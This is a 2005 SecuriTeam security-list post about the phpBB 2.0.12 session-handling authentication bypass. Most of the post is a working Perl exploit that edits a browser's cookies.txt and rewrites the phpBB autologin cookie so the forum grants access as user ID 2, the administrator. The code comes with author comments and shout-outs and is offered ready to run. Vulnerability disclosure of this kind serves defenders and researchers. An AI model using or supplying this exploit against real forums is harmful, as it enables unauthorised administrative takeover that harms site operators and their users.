[EXPL] phpBB UID Exploit (Perl exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 03/17/05

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Date: 17 Mar 2005 10:22:38 +0200

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      phpBB UID Exploit (Perl exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.phpbb.com/> phpBB is a high powered, fully scalable, and
    highly customizable Open Source bulletin board package."

    This exploit modifies the UID field in the cookies.txt file of Mozilla's
    browsers in such a way that when the browser will try to access the phpBB
    forum it will be granted access with the user_id provided rather than the
    original one.

    DETAILS

    Exploit:
    #!/usr/bin/perl

    # phpBB 2.0.12 Session Handling Administrator Authentication
    # Bypass EXPLOIT
    # written by phuket
    #
    # The discoverer of this bug is unknown, says "Paiserist" who wrote a C
    exploit
    for this bug.
    # http://packetstormsecurity.org/0503-exploits/phpbbsession.c
    #
    #

    # I tested this code with Firefox on my linux box, I do not know if it
    works with mozilla or on #windows
    # $url is the name of the cookie ( www.phpbb.com / $url= phpbb.com ) Look
    at cookies.txt for the name of the cookie

    # I wrote this exploit after reading "phpBB 2.0.12 Session Handling
    Administrator Authentication
    # Bypass -SIMPLIFIED-" By PPC^Rebyte
    # and it is based on his code
    #
    # Sorry for my bad english :/

    $file = "/////cookies.txt" ; # path to your cookies.txt
    $url = $ARGV[0];

    open (FILE , '<'."$file" ) or die ('File does not exist') ; # path to
    your
    cookies.txt file
    @cookie= <FILE> ;
    close FILE ;

    $exploit = "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs".
    "%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D";

    foreach $i (@cookie)
    {
    if ($i=~/$url/) {

    $i =~ s/a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22".
    "%3Bs%3A6%3A%22userid%22%3Bs%3A(.*?)%3A%22(.*?)%22%3B%7D/$exploit/;
    print "OK\n" ;
    }

    }

    open (FILE , '>'."$file") or die ('Can not write Cookie') ; ;
    print FILE @cookie ;
    close FILE ;

    #greetings to Jubeltrubel,Julien S.,crosbow,XFlorian,Nibble,Trasher and
    Invi ;)
    #thx to Paiserist,PPC^Rebyte and to the unknown discoverer of this bug :)
    #phuket

    EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:thephuket@spymac.com> The
    Phuket.
    Another exploit for the phpBB UID vulnerability can be found:
    <http://www.securiteam.com/exploits/5KP0C0UF5M.html>
    http://www.securiteam.com/exploits/5KP0C0UF5M.html

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